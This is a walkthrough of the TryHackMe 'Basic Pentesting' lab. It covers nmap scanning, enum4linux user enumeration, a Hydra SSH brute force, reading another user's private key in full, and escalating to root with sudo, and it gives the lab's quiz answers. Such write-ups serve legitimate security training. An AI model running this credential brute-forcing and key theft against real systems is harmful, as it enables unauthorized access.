Basic Pentesting | TryHackMe
Lab Access: https://tryhackme.com/room/basicpentestingjt
Video: https://www.youtube.com/watch?v=-XGUPin43fc
Find the services exposed by the machine
Enumerate the machine
nmap -Pn -A -v 10.10.115.108
Discovered open port 139/tcp on 10.10.115.108
Discovered open port 8080/tcp on 10.10.115.108
Discovered open port 445/tcp on 10.10.115.108
Discovered open port 22/tcp on 10.10.115.108
Discovered open port 80/tcp on 10.10.115.108
Discovered open port 8009/tcp on 10.10.115.108
open ports — Open Service ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html).
109/tcp filtered pop2
139/tcp open netbios-ssn Samba smbd 3.X — 4.X (workgroup: WORKGROUP)
161/tcp filtered snmp
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1001/tcp filtered webpush
1122/tcp filtered availant-mgr
6059/tcp filtered X11:59
8009/tcp open ajp13?
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http-proxy
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-title: Apache Tomcat/9.0.7
9003/tcp filtered unknown
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h20m02s, deviation: 2h18m36s, median: 1s
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| BASIC2<00> Flags: <unique><active>
| BASIC2<03> Flags: <unique><active>
| BASIC2<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2020–05–04T23:34:31–04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020–05–05T03:34:28
|_ start_date: N/A
Discover the hidden directory
What is the name of the hidden directory on the web server(enter name without /)?
Tool: DirBuster You can use other tool also
http://10.10.115.108/development/
Information gather and exploit
User brute-forcing to find the username & password
kali@kali:~$ enum4linux 10.10.115.108
[+] Enumerating users using SID S-1–22–1 and logon username ‘’, password ‘’
S-1–22–1–1000 Unix User\kay (Local User)
S-1–22–1–1001 Unix User\jan (Local User)
Brute-force with hydra
Tool: Hydra and Wordlist: rockyou.txt
kali@kali:~$ hydra -l jan -P <rockyou.txt directory> 10.10.115.108 ssh
kali@kali:~$ hydra -l jan -P /home/kali/Desktop/TryHackMe//rockyou.txt 10.10.115.108 ssh
Hydra v9.0 © 2019 by van Hauser/THC — Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020–05–05 00:30:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.115.108:22/
[STATUS] 182.00 tries/min, 182 tries in 00:01h, 14344222 to do in 1313:35h, 16 active
[STATUS] 119.33 tries/min, 358 tries in 00:03h, 14344046 to do in 2003:22h, 16 active
[22][ssh] host: 10.10.115.108 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 7 final worker threads did not complete until end.
[ERROR] 7 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020–05–05 00:37:00
What is the username? Ans: jan
What is the password? Ans: armando
What service do you use to access the server(answer in abbreviation in all caps)? Ans: ssh
Use jan’s login credential
Enumerate the machine to find any vectors for privilege escalation
kali@kali:~$ ssh jan@10.10.115.108
The authenticity of host ‘10.10.115.108 (10.10.115.108)’ can’t be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘10.10.115.108’ (ECDSA) to the list of known hosts.
jan@10.10.115.108’s password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
Privilege escalate
jan@basic2:~$ cd /home/jan
jan@basic2:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw — — — — 1 root jan 47 Apr 23 2018 .lesshst
jan@basic2:~$
What is the name of the other user you found(all lower case)? Ans: kay
S-1–22–1–1000 Unix User\kay (Local User)
jan@basic2:~$ cd /home/kay
jan@basic2:/home/kay$
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw — — — — 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r — r — 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r — r — 1 kay kay 3771 Apr 17 2018 .bashrc
drwx — — — 2 kay kay 4096 Apr 17 2018 .cache
-rw — — — — 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw — — — — 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r — r — 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r — r — 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw — — — — 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r — 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r — r — 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r — r — 1 kay kay 771 Apr 19 2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
— — -BEGIN RSA PRIVATE KEY — — -
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
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sGsOxQ5Mr3mKf1n/w6PnBWXYh7n2lL36ZNFacO1V6szMaa8/489apbbjpxhutQNu
Eu/lP8xQlxmmpvPsDACMtqA1IpoVl9m+a+sTRE2EyT8hZIRMiuaaoTZIV4CHuY6Q
3QP52kfZzjBt3ciN2AmYv205ENIJvrsacPi3PZRNlJsbGxmxOkVXdvPC5mR/pnIv
wrrVsgJQJoTpFRShHjQ3qSoJ/r/8/D1VCVtD4UsFZ+j1y9kXKLaT/oK491zK8nwG
URUvqvBhDS7cq8C5rFGJUYD79guGh3He5Y7bl+mdXKNZLMlzOnauC5bKV4i+Yuj7
AGIExXRIJXlwF4G0bsl5vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYYncxMyK
AXDKwSwwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdaMZSnOSyHXuVlB4Jn5
phQL3R8OrZETsuXxfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6al6WYdI9i2+uNR
ogjvVVBVVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAaDk9dBQcV
ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
— — -END RSA PRIVATE KEY — — -
jan@basic2:/home/kay/.ssh$
Kay’s password — beeswax (id_rsa)
jan@basic2:/home/kay/.ssh$ ssh -i /home/kay/.ssh/id_rsa kay@10.10.115.108
Could not create directory ‘/home/jan/.ssh’.
The authenticity of host ‘10.10.115.108 (10.10.115.108)’ can’t be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key ‘/home/kay/.ssh/id_rsa’:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALL
kay@basic2:~$ sudo su
root@basic2:/home/kay# cd /root
root@basic2:~#
